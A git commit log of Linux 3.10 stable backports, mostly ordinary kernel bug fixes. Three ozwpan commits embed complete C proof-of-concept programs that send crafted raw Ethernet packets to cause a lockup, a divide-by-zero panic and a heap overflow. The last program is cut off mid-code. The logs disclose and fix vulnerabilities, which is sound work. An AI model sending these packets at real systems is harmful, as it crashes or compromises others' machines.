1. 04 Jul, 2015 11 commits
  2. 29 Jun, 2015 6 commits
    • Greg Kroah-Hartman's avatar
      Linux 3.10.82 · b3d78448
      Greg Kroah-Hartman authored
      b3d78448
    • James Smart's avatar
      lpfc: Add iotag memory barrier · 17c06c69
      James Smart authored
      commit 27f344eb upstream.
      
      Add a memory barrier to ensure the valid bit is read before
      any of the cqe payload is read. This fixes an issue seen
      on Power where the cqe payload was getting loaded before
      the valid bit. When this occurred, we saw an iotag out of
      range error when a command completed, but since the iotag
      looked invalid the command didn't get completed to scsi core.
      Later we hit the command timeout, attempted to abort the command,
      then waited for the aborted command to get returned. Since the
      adapter already returned the command, we timeout waiting,
      and end up escalating EEH all the way to host reset. This
      patch fixes this issue.
      Signed-off-by: default avatarBrian King <brking@linux.vnet.ibm.com>
      Signed-off-by: default avatarJames Smart <james.smart@emulex.com>
      Signed-off-by: default avatarChristoph Hellwig <hch@lst.de>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      17c06c69
    • Ben Hutchings's avatar
      pipe: iovec: Fix memory corruption when retrying atomic copy as non-atomic · 14f81062
      Ben Hutchings authored
      pipe_iov_copy_{from,to}_user() may be tried twice with the same iovec,
      the first time atomically and the second time not.  The second attempt
      needs to continue from the iovec position, pipe buffer offset and
      remaining length where the first attempt failed, but currently the
      pipe buffer offset and remaining length are reset.  This will corrupt
      the piped data (possibly also leading to an information leak between
      processes) and may also corrupt kernel memory.
      
      This was fixed upstream by commits f0d1bec9 ("new helper:
      copy_page_from_iter()") and 637b58c2 ("switch pipe_read() to
      copy_page_to_iter()"), but those aren't suitable for stable.  This fix
      for older kernel versions was made by Seth Jennings for RHEL and I
      have extracted it from their update.
      
      CVE-2015-1805
      
      References: https://bugzilla.redhat.com/show_bug.cgi?id=1202855Signed-off-by: default avatarBen Hutchings <ben@decadent.org.uk>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      14f81062
    • Adam Jackson's avatar
      drm/mgag200: Reject non-character-cell-aligned mode widths · 97d905e8
      Adam Jackson authored
      commit 25161084 upstream.
      
      Turns out 1366x768 does not in fact work on this hardware.
      Signed-off-by: default avatarAdam Jackson <ajax@redhat.com>
      Signed-off-by: default avatarDave Airlie <airlied@redhat.com>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      97d905e8
    • Steven Rostedt's avatar
      tracing: Have filter check for balanced ops · 63dec311
      Steven Rostedt authored
      commit 2cf30dc1 upstream.
      
      When the following filter is used it causes a warning to trigger:
      
       # cd /sys/kernel/debug/tracing
       # echo "((dev==1)blocks==2)" > events/ext4/ext4_truncate_exit/filter
      -bash: echo: write error: Invalid argument
       # cat events/ext4/ext4_truncate_exit/filter
      ((dev==1)blocks==2)
      ^
      parse_error: No error
      
       ------------[ cut here ]------------
       WARNING: CPU: 2 PID: 1223 at kernel/trace/trace_events_filter.c:1640 replace_preds+0x3c5/0x990()
       Modules linked in: bnep lockd grace bluetooth  ...
       CPU: 3 PID: 1223 Comm: bash Tainted: G        W       4.1.0-rc3-test+ #450
       Hardware name: Hewlett-Packard HP Compaq Pro 6300 SFF/339A, BIOS K01 v02.05 05/07/2012
        0000000000000668 ffff8800c106bc98 ffffffff816ed4f9 ffff88011ead0cf0
        0000000000000000 ffff8800c106bcd8 ffffffff8107fb07 ffffffff8136b46c
        ffff8800c7d81d48 ffff8800d4c2bc00 ffff8800d4d4f920 00000000ffffffea
       Call Trace:
        [<ffffffff816ed4f9>] dump_stack+0x4c/0x6e
        [<ffffffff8107fb07>] warn_slowpath_common+0x97/0xe0
        [<ffffffff8136b46c>] ? _kstrtoull+0x2c/0x80
        [<ffffffff8107fb6a>] warn_slowpath_null+0x1a/0x20
        [<ffffffff81159065>] replace_preds+0x3c5/0x990
        [<ffffffff811596b2>] create_filter+0x82/0xb0
        [<ffffffff81159944>] apply_event_filter+0xd4/0x180
        [<ffffffff81152bbf>] event_filter_write+0x8f/0x120
        [<ffffffff811db2a8>] __vfs_write+0x28/0xe0
        [<ffffffff811dda43>] ? __sb_start_write+0x53/0xf0
        [<ffffffff812e51e0>] ? security_file_permission+0x30/0xc0
        [<ffffffff811dc408>] vfs_write+0xb8/0x1b0
        [<ffffffff811dc72f>] SyS_write+0x4f/0xb0
        [<ffffffff816f5217>] system_call_fastpath+0x12/0x6a
       ---[ end trace e11028bd95818dcd ]---
      
      Worse yet, reading the error message (the filter again) it says that
      there was no error, when there clearly was. The issue is that the
      code that checks the input does not check for balanced ops. That is,
      having an op between a closed parenthesis and the next token.
      
      This would only cause a warning, and fail out before doing any real
      harm, but it should still not caues a warning, and the error reported
      should work:
      
       # cd /sys/kernel/debug/tracing
       # echo "((dev==1)blocks==2)" > events/ext4/ext4_truncate_exit/filter
      -bash: echo: write error: Invalid argument
       # cat events/ext4/ext4_truncate_exit/filter
      ((dev==1)blocks==2)
      ^
      parse_error: Meaningless filter expression
      
      And give no kernel warning.
      
      Link: http://lkml.kernel.org/r/20150615175025.7e809215@gandalf.local.home
      
      Cc: Peter Zijlstra <a.p.zijlstra@chello.nl>
      Cc: Ingo Molnar <mingo@redhat.com>
      Cc: Arnaldo Carvalho de Melo <acme@kernel.org>
      Reported-by: default avatarVince Weaver <vincent.weaver@maine.edu>
      Tested-by: default avatarVince Weaver <vincent.weaver@maine.edu>
      Signed-off-by: default avatarSteven Rostedt <rostedt@goodmis.org>
      [ luis: backported to 3.16:
        - unconditionally decrement cnt as the OP_NOT logic was introduced only
          by e12c09cf ("tracing: Add NOT to filtering logic") ]
      Signed-off-by: default avatarLuis Henriques <luis.henriques@canonical.com>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      63dec311
    • Steve Cornelius's avatar
      crypto: caam - fix RNG buffer cache alignment · b6d2d39a
      Steve Cornelius authored
      commit 412c98c1 upstream.
      
      The hwrng output buffers (2) are cast inside of a a struct (caam_rng_ctx)
      allocated in one DMA-tagged region. While the kernel's heap allocator
      should place the overall struct on a cacheline aligned boundary, the 2
      buffers contained within may not necessarily align. Consenquently, the ends
      of unaligned buffers may not fully flush, and if so, stale data will be left
      behind, resulting in small repeating patterns.
      
      This fix aligns the buffers inside the struct.
      
      Note that not all of the data inside caam_rng_ctx necessarily needs to be
      DMA-tagged, only the buffers themselves require this. However, a fix would
      incur the expense of error-handling bloat in the case of allocation failure.
      Signed-off-by: default avatarSteve Cornelius <steve.cornelius@freescale.com>
      Signed-off-by: default avatarVictoria Milhoan <vicki.milhoan@freescale.com>
      Signed-off-by: default avatarHerbert Xu <herbert@gondor.apana.org.au>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      b6d2d39a
  3. 22 Jun, 2015 23 commits
    • Greg Kroah-Hartman's avatar
      Linux 3.10.81 · 28114597
      Greg Kroah-Hartman authored
      28114597
    • Jeff Mahoney's avatar
      btrfs: cleanup orphans while looking up default subvolume · 9272a6ce
      Jeff Mahoney authored
      commit 727b9784 upstream.
      
      Orphans in the fs tree are cleaned up via open_ctree and subvolume
      orphans are cleaned via btrfs_lookup_dentry -- except when a default
      subvolume is in use.  The name for the default subvolume uses a manual
      lookup that doesn't trigger orphan cleanup and needs to trigger it
      manually as well. This doesn't apply to the remount case since the
      subvolumes are cleaned up by walking the root radix tree.
      Signed-off-by: default avatarJeff Mahoney <jeffm@suse.com>
      Reviewed-by: default avatarDavid Sterba <dsterba@suse.cz>
      Signed-off-by: default avatarChris Mason <clm@fb.com>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      9272a6ce
    • Chengyu Song's avatar
      btrfs: incorrect handling for fiemap_fill_next_extent return · 8d1529ce
      Chengyu Song authored
      commit 26e726af upstream.
      
      fiemap_fill_next_extent returns 0 on success, -errno on error, 1 if this was
      the last extent that will fit in user array. If 1 is returned, the return
      value may eventually returned to user space, which should not happen, according
      to manpage of ioctl.
      Signed-off-by: default avatarChengyu Song <csong84@gatech.edu>
      Reviewed-by: default avatarDavid Sterba <dsterba@suse.cz>
      Reviewed-by: default avatarLiu Bo <bo.li.liu@oracle.com>
      Signed-off-by: default avatarChris Mason <clm@fb.com>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      8d1529ce
    • Johannes Berg's avatar
      cfg80211: wext: clear sinfo struct before calling driver · 98d94f20
      Johannes Berg authored
      commit 9c5a18a3 upstream.
      
      Until recently, mac80211 overwrote all the statistics it could
      provide when getting called, but it now relies on the struct
      having been zeroed by the caller. This was always the case in
      nl80211, but wext used a static struct which could even cause
      values from one device leak to another.
      
      Using a static struct is OK (as even documented in a comment)
      since the whole usage of this function and its return value is
      always locked under RTNL. Not clearing the struct for calling
      the driver has always been wrong though, since drivers were
      free to only fill values they could report, so calling this
      for one device and then for another would always have leaked
      values from one to the other.
      
      Fix this by initializing the structure in question before the
      driver method call.
      
      This fixes https://bugzilla.kernel.org/show_bug.cgi?id=99691Reported-by: default avatarGerrit Renker <gerrit@erg.abdn.ac.uk>
      Reported-by: default avatarAlexander Kaltsas <alexkaltsas@gmail.com>
      Signed-off-by: default avatarJohannes Berg <johannes.berg@intel.com>
      Signed-off-by: default avatarDavid S. Miller <davem@davemloft.net>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      98d94f20
    • Gu Zheng's avatar
      mm/memory_hotplug.c: set zone->wait_table to null after freeing it · 31c6d4e4
      Gu Zheng authored
      commit 85bd8399 upstream.
      
      Izumi found the following oops when hot re-adding a node:
      
          BUG: unable to handle kernel paging request at ffffc90008963690
          IP: __wake_up_bit+0x20/0x70
          Oops: 0000 [#1] SMP
          CPU: 68 PID: 1237 Comm: rs:main Q:Reg Not tainted 4.1.0-rc5 #80
          Hardware name: FUJITSU PRIMEQUEST2800E/SB, BIOS PRIMEQUEST 2000 Series BIOS Version 1.87 04/28/2015
          task: ffff880838df8000 ti: ffff880017b94000 task.ti: ffff880017b94000
          RIP: 0010:[<ffffffff810dff80>]  [<ffffffff810dff80>] __wake_up_bit+0x20/0x70
          RSP: 0018:ffff880017b97be8  EFLAGS: 00010246
          RAX: ffffc90008963690 RBX: 00000000003c0000 RCX: 000000000000a4c9
          RDX: 0000000000000000 RSI: ffffea101bffd500 RDI: ffffc90008963648
          RBP: ffff880017b97c08 R08: 0000000002000020 R09: 0000000000000000
          R10: 0000000000000000 R11: 0000000000000000 R12: ffff8a0797c73800
          R13: ffffea101bffd500 R14: 0000000000000001 R15: 00000000003c0000
          FS:  00007fcc7ffff700(0000) GS:ffff880874800000(0000) knlGS:0000000000000000
          CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
          CR2: ffffc90008963690 CR3: 0000000836761000 CR4: 00000000001407e0
          Call Trace:
            unlock_page+0x6d/0x70
            generic_write_end+0x53/0xb0
            xfs_vm_write_end+0x29/0x80 [xfs]
            generic_perform_write+0x10a/0x1e0
            xfs_file_buffered_aio_write+0x14d/0x3e0 [xfs]
            xfs_file_write_iter+0x79/0x120 [xfs]
            __vfs_write+0xd4/0x110
            vfs_write+0xac/0x1c0
            SyS_write+0x58/0xd0
            system_call_fastpath+0x12/0x76
          Code: 5d c3 66 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55 48 89 e5 48 83 ec 20 65 48 8b 04 25 28 00 00 00 48 89 45 f8 31 c0 48 8d 47 48 <48> 39 47 48 48 c7 45 e8 00 00 00 00 48 c7 45 f0 00 00 00 00 48
          RIP  [<ffffffff810dff80>] __wake_up_bit+0x20/0x70
           RSP <ffff880017b97be8>
          CR2: ffffc90008963690
      
      Reproduce method (re-add a node)::
        Hot-add nodeA --> remove nodeA --> hot-add nodeA (panic)
      
      This seems an use-after-free problem, and the root cause is
      zone->wait_table was not set to *NULL* after free it in
      try_offline_node.
      
      When hot re-add a node, we will reuse the pgdat of it, so does the zone
      struct, and when add pages to the target zone, it will init the zone
      first (including the wait_table) if the zone is not initialized.  The
      judgement of zone initialized is based on zone->wait_table:
      
      	static inline bool zone_is_initialized(struct zone *zone)
      	{
      		return !!zone->wait_table;
      	}
      
      so if we do not set the zone->wait_table to *NULL* after free it, the
      memory hotplug routine will skip the init of new zone when hot re-add
      the node, and the wait_table still points to the freed memory, then we
      will access the invalid address when trying to wake up the waiting
      people after the i/o operation with the page is done, such as mentioned
      above.
      Signed-off-by: default avatarGu Zheng <guz.fnst@cn.fujitsu.com>
      Reported-by: default avatarTaku Izumi <izumi.taku@jp.fujitsu.com>
      Reviewed by: Yasuaki Ishimatsu <isimatu.yasuaki@jp.fujitsu.com>
      Cc: KAMEZAWA Hiroyuki <kamezawa.hiroyu@jp.fujitsu.com>
      Cc: Tang Chen <tangchen@cn.fujitsu.com>
      Signed-off-by: default avatarAndrew Morton <akpm@linux-foundation.org>
      Signed-off-by: default avatarLinus Torvalds <torvalds@linux-foundation.org>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      31c6d4e4
    • Jani Nikula's avatar
      drm/i915: Fix DDC probe for passive adapters · a0e4eeff
      Jani Nikula authored
      commit 3f5f1554 upstream.
      
      Passive DP->DVI/HDMI dongles on DP++ ports show up to the system as HDMI
      devices, as they do not have a sink device in them to respond to any AUX
      traffic. When probing these dongles over the DDC, sometimes they will
      NAK the first attempt even though the transaction is valid and they
      support the DDC protocol. The retry loop inside of
      drm_do_probe_ddc_edid() would normally catch this case and try the
      transaction again, resulting in success.
      
      That, however, was thwarted by the fix for [1]:
      
      commit 9292f37e
      Author: Eugeni Dodonov <eugeni.dodonov@intel.com>
      Date:   Thu Jan 5 09:34:28 2012 -0200
      
          drm: give up on edid retries when i2c bus is not responding
      
      This added code to exit immediately if the return code from the
      i2c_transfer function was -ENXIO in order to reduce the amount of time
      spent in waiting for unresponsive or disconnected devices. That was
      possible because the underlying i2c bit banging algorithm had retries of
      its own (which, of course, were part of the reason for the bug the
      commit fixes).
      
      Since its introduction in
      
      commit f899fc64
      Author: Chris Wilson <chris@chris-wilson.co.uk>
      Date:   Tue Jul 20 15:44:45 2010 -0700
      
          drm/i915: use GMBUS to manage i2c links
      
      we've been flipping back and forth enabling the GMBUS transfers, but
      we've settled since then. The GMBUS implementation does not do any
      retries, however, bailing out of the drm_do_probe_ddc_edid() retry loop
      on first encounter of -ENXIO. This, combined with Eugeni's commit, broke
      the retry on -ENXIO.
      
      Retry GMBUS once on -ENXIO on first message to mitigate the issues with
      passive adapters.
      
      This patch is based on the work, and commit message, by Todd Previte
      <tprevite@gmail.com>.
      
      [1] https://bugs.freedesktop.org/show_bug.cgi?id=41059
      
      v2: Don't retry if using bit banging.
      
      v3: Move retry within gmbux_xfer, retry only on first message.
      
      v4: Initialize GMBUS0 on retry (Ville).
      
      v5: Take index reads into account (Ville).
      
      Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=85924
      Cc: Todd Previte <tprevite@gmail.com>
      Tested-by: Oliver Grafe <oliver.grafe@ge.com> (v2)
      Tested-by: default avatarJim Bride <jim.bride@linux.intel.com>
      Reviewed-by: default avatarVille Syrjälä <ville.syrjala@linux.intel.com>
      Signed-off-by: default avatarJani Nikula <jani.nikula@intel.com>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      a0e4eeff
    • Aaro Koskinen's avatar
      pata_octeon_cf: fix broken build · 57d5697f
      Aaro Koskinen authored
      commit 4710f2fa upstream.
      
      MODULE_DEVICE_TABLE is referring to wrong driver's table and breaks the
      build. Fix that.
      Signed-off-by: default avatarAaro Koskinen <aaro.koskinen@nokia.com>
      Signed-off-by: default avatarTejun Heo <tj@kernel.org>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      57d5697f
    • Jason A. Donenfeld's avatar
      ozwpan: unchecked signed subtraction leads to DoS · 1c9daa06
      Jason A. Donenfeld authored
      commit 9a59029b upstream.
      
      The subtraction here was using a signed integer and did not have any
      bounds checking at all. This commit adds proper bounds checking, made
      easy by use of an unsigned integer. This way, a single packet won't be
      able to remotely trigger a massive loop, locking up the system for a
      considerable amount of time. A PoC follows below, which requires
      ozprotocol.h from this module.
      
      =-=-=-=-=-=
      
       #include <arpa/inet.h>
       #include <linux/if_packet.h>
       #include <net/if.h>
       #include <netinet/ether.h>
       #include <stdio.h>
       #include <string.h>
       #include <stdlib.h>
       #include <endian.h>
       #include <sys/ioctl.h>
       #include <sys/socket.h>
      
       #define u8 uint8_t
       #define u16 uint16_t
       #define u32 uint32_t
       #define __packed __attribute__((__packed__))
       #include "ozprotocol.h"
      
      static int hex2num(char c)
      {
      	if (c >= '0' && c <= '9')
      		return c - '0';
      	if (c >= 'a' && c <= 'f')
      		return c - 'a' + 10;
      	if (c >= 'A' && c <= 'F')
      		return c - 'A' + 10;
      	return -1;
      }
      static int hwaddr_aton(const char *txt, uint8_t *addr)
      {
      	int i;
      	for (i = 0; i < 6; i++) {
      		int a, b;
      		a = hex2num(*txt++);
      		if (a < 0)
      			return -1;
      		b = hex2num(*txt++);
      		if (b < 0)
      			return -1;
      		*addr++ = (a << 4) | b;
      		if (i < 5 && *txt++ != ':')
      			return -1;
      	}
      	return 0;
      }
      
      int main(int argc, char *argv[])
      {
      	if (argc < 3) {
      		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
      		return 1;
      	}
      
      	uint8_t dest_mac[6];
      	if (hwaddr_aton(argv[2], dest_mac)) {
      		fprintf(stderr, "Invalid mac address.\n");
      		return 1;
      	}
      
      	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
      	if (sockfd < 0) {
      		perror("socket");
      		return 1;
      	}
      
      	struct ifreq if_idx;
      	int interface_index;
      	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
      	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
      		perror("SIOCGIFINDEX");
      		return 1;
      	}
      	interface_index = if_idx.ifr_ifindex;
      	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
      		perror("SIOCGIFHWADDR");
      		return 1;
      	}
      	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
      
      	struct {
      		struct ether_header ether_header;
      		struct oz_hdr oz_hdr;
      		struct oz_elt oz_elt;
      		struct oz_elt_connect_req oz_elt_connect_req;
      		struct oz_elt oz_elt2;
      		struct oz_multiple_fixed oz_multiple_fixed;
      	} __packed packet = {
      		.ether_header = {
      			.ether_type = htons(OZ_ETHERTYPE),
      			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
      			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
      		},
      		.oz_hdr = {
      			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
      			.last_pkt_num = 0,
      			.pkt_num = htole32(0)
      		},
      		.oz_elt = {
      			.type = OZ_ELT_CONNECT_REQ,
      			.length = sizeof(struct oz_elt_connect_req)
      		},
      		.oz_elt_connect_req = {
      			.mode = 0,
      			.resv1 = {0},
      			.pd_info = 0,
      			.session_id = 0,
      			.presleep = 0,
      			.ms_isoc_latency = 0,
      			.host_vendor = 0,
      			.keep_alive = 0,
      			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
      			.max_len_div16 = 0,
      			.ms_per_isoc = 0,
      			.up_audio_buf = 0,
      			.ms_per_elt = 0
      		},
      		.oz_elt2 = {
      			.type = OZ_ELT_APP_DATA,
      			.length = sizeof(struct oz_multiple_fixed) - 3
      		},
      		.oz_multiple_fixed = {
      			.app_id = OZ_APPID_USB,
      			.elt_seq_num = 0,
      			.type = OZ_USB_ENDPOINT_DATA,
      			.endpoint = 0,
      			.format = OZ_DATA_F_MULTIPLE_FIXED,
      			.unit_size = 1,
      			.data = {0}
      		}
      	};
      
      	struct sockaddr_ll socket_address = {
      		.sll_ifindex = interface_index,
      		.sll_halen = ETH_ALEN,
      		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
      	};
      
      	if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
      		perror("sendto");
      		return 1;
      	}
      	return 0;
      }
      Signed-off-by: default avatarJason A. Donenfeld <Jason@zx2c4.com>
      Acked-by: default avatarDan Carpenter <dan.carpenter@oracle.com>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      1c9daa06
    • Jason A. Donenfeld's avatar
      ozwpan: divide-by-zero leading to panic · 8ca9ab66
      Jason A. Donenfeld authored
      commit 04bf464a upstream.
      
      A network supplied parameter was not checked before division, leading to
      a divide-by-zero. Since this happens in the softirq path, it leads to a
      crash. A PoC follows below, which requires the ozprotocol.h file from
      this module.
      
      =-=-=-=-=-=
      
       #include <arpa/inet.h>
       #include <linux/if_packet.h>
       #include <net/if.h>
       #include <netinet/ether.h>
       #include <stdio.h>
       #include <string.h>
       #include <stdlib.h>
       #include <endian.h>
       #include <sys/ioctl.h>
       #include <sys/socket.h>
      
       #define u8 uint8_t
       #define u16 uint16_t
       #define u32 uint32_t
       #define __packed __attribute__((__packed__))
       #include "ozprotocol.h"
      
      static int hex2num(char c)
      {
      	if (c >= '0' && c <= '9')
      		return c - '0';
      	if (c >= 'a' && c <= 'f')
      		return c - 'a' + 10;
      	if (c >= 'A' && c <= 'F')
      		return c - 'A' + 10;
      	return -1;
      }
      static int hwaddr_aton(const char *txt, uint8_t *addr)
      {
      	int i;
      	for (i = 0; i < 6; i++) {
      		int a, b;
      		a = hex2num(*txt++);
      		if (a < 0)
      			return -1;
      		b = hex2num(*txt++);
      		if (b < 0)
      			return -1;
      		*addr++ = (a << 4) | b;
      		if (i < 5 && *txt++ != ':')
      			return -1;
      	}
      	return 0;
      }
      
      int main(int argc, char *argv[])
      {
      	if (argc < 3) {
      		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
      		return 1;
      	}
      
      	uint8_t dest_mac[6];
      	if (hwaddr_aton(argv[2], dest_mac)) {
      		fprintf(stderr, "Invalid mac address.\n");
      		return 1;
      	}
      
      	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
      	if (sockfd < 0) {
      		perror("socket");
      		return 1;
      	}
      
      	struct ifreq if_idx;
      	int interface_index;
      	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
      	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
      		perror("SIOCGIFINDEX");
      		return 1;
      	}
      	interface_index = if_idx.ifr_ifindex;
      	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
      		perror("SIOCGIFHWADDR");
      		return 1;
      	}
      	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
      
      	struct {
      		struct ether_header ether_header;
      		struct oz_hdr oz_hdr;
      		struct oz_elt oz_elt;
      		struct oz_elt_connect_req oz_elt_connect_req;
      		struct oz_elt oz_elt2;
      		struct oz_multiple_fixed oz_multiple_fixed;
      	} __packed packet = {
      		.ether_header = {
      			.ether_type = htons(OZ_ETHERTYPE),
      			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
      			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
      		},
      		.oz_hdr = {
      			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
      			.last_pkt_num = 0,
      			.pkt_num = htole32(0)
      		},
      		.oz_elt = {
      			.type = OZ_ELT_CONNECT_REQ,
      			.length = sizeof(struct oz_elt_connect_req)
      		},
      		.oz_elt_connect_req = {
      			.mode = 0,
      			.resv1 = {0},
      			.pd_info = 0,
      			.session_id = 0,
      			.presleep = 0,
      			.ms_isoc_latency = 0,
      			.host_vendor = 0,
      			.keep_alive = 0,
      			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
      			.max_len_div16 = 0,
      			.ms_per_isoc = 0,
      			.up_audio_buf = 0,
      			.ms_per_elt = 0
      		},
      		.oz_elt2 = {
      			.type = OZ_ELT_APP_DATA,
      			.length = sizeof(struct oz_multiple_fixed)
      		},
      		.oz_multiple_fixed = {
      			.app_id = OZ_APPID_USB,
      			.elt_seq_num = 0,
      			.type = OZ_USB_ENDPOINT_DATA,
      			.endpoint = 0,
      			.format = OZ_DATA_F_MULTIPLE_FIXED,
      			.unit_size = 0,
      			.data = {0}
      		}
      	};
      
      	struct sockaddr_ll socket_address = {
      		.sll_ifindex = interface_index,
      		.sll_halen = ETH_ALEN,
      		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
      	};
      
      	if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
      		perror("sendto");
      		return 1;
      	}
      	return 0;
      }
      Signed-off-by: default avatarJason A. Donenfeld <Jason@zx2c4.com>
      Acked-by: default avatarDan Carpenter <dan.carpenter@oracle.com>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      8ca9ab66
    • Jason A. Donenfeld's avatar
      ozwpan: Use proper check to prevent heap overflow · 1804b143
      Jason A. Donenfeld authored
      commit d114b9fe upstream.
      
      Since elt->length is a u8, we can make this variable a u8. Then we can
      do proper bounds checking more easily. Without this, a potentially
      negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
      resulting in a remotely exploitable heap overflow with network
      supplied data.
      
      This could result in remote code execution. A PoC which obtains DoS
      follows below. It requires the ozprotocol.h file from this module.
      
      =-=-=-=-=-=
      
       #include <arpa/inet.h>
       #include <linux/if_packet.h>
       #include <net/if.h>
       #include <netinet/ether.h>
       #include <stdio.h>
       #include <string.h>
       #include <stdlib.h>
       #include <endian.h>
       #include <sys/ioctl.h>
       #include <sys/socket.h>
      
       #define u8 uint8_t
       #define u16 uint16_t
       #define u32 uint32_t
       #define __packed __attribute__((__packed__))
       #include "ozprotocol.h"
      
      static int hex2num(char c)
      {
      	if (c >= '0' && c <= '9')
      		return c - '0';
      	if (c >= 'a' && c <= 'f')
      		return c - 'a' + 10;
      	if (c >= 'A' && c <= 'F')
      		return c - 'A' + 10;
      	return -1;
      }
      static int hwaddr_aton(const char *txt, uint8_t *addr)
      {
      	int i;
      	for (i = 0; i < 6; i++) {
      		int a, b;
      		a = hex2num(*txt++);
      		if (a < 0)
      			return -1;
      		b = hex2num(*txt++);
      		if (b < 0)
      			return -1;
      		*addr++ = (a << 4) | b;
      		if (i < 5 && *txt++ != ':')
      			return -1;
      	}
      	return 0;
      }
      
      int main(int argc, char *argv[])
      {
      	if (argc < 3) {
      		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
      		return 1;
      	}
      
      	uint8_t dest_mac[6];
      	if (hwaddr_aton(argv[2], dest_mac)) {
      		fprintf(stderr, "Invalid mac address.\n");
      		return 1;
      	}
      
      	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
      	if (sockfd < 0) {
      		perror("socket");
      		return 1;
      	}
      
      	struct ifreq if_idx;
      	int interface_index;
      	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
      	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
      		perror("SIOCGIFINDEX");
      		return 1;
      	}
      	interface_index = if_idx.ifr_ifindex;
      	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
      		perror("SIOCGIFHWADDR");
      		return 1;
      	}
      	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
      
      	struct {
      		struct ether_header ether_header;
      		struct oz_hdr oz_hdr;
      		struct oz_elt oz_elt;
      		struct oz_elt_connect_req oz_elt_connect_req;
      	} __packed connect_packet = {
      		.ether_header = {
      			.ether_type = htons(OZ_ETHERTYPE),
      			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
      			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
      		},
      		.oz_hdr = {
      			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
      			.last_pkt_num = 0,
      			.pkt_num = htole32(0)
      		},
      		.oz_elt = {
      			.type = OZ_ELT_CONNECT_REQ,
      			.length = sizeof(struct oz_elt_connect_req)
      		},
      		.oz_elt_connect_req = {
      			.mode = 0,
      			.resv1 = {0},
      			.pd_info = 0,
      			.session_id = 0,
      			.presleep = 35,
      			.ms_isoc_latency = 0,
      			.host_vendor = 0,
      			.keep_alive = 0,
      			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
      			.max_len_div16 = 0,
      			.ms_per_isoc = 0,
      			.up_audio_buf = 0,
      			.ms_per_elt = 0
      		}
      	};
      
      	struct {
      		struct ether_header ether_header;
      		struct oz_hdr oz_hdr;
      		struct oz_elt oz_elt;
      		struct oz_get_desc_rsp oz_get_desc_rsp;
      	} __packed pwn_packet = {
      		.ether_header = {
      			.ether_type = htons(OZ_ETHERTYPE),
      			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
      			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
      		},
      		.oz_hdr = {
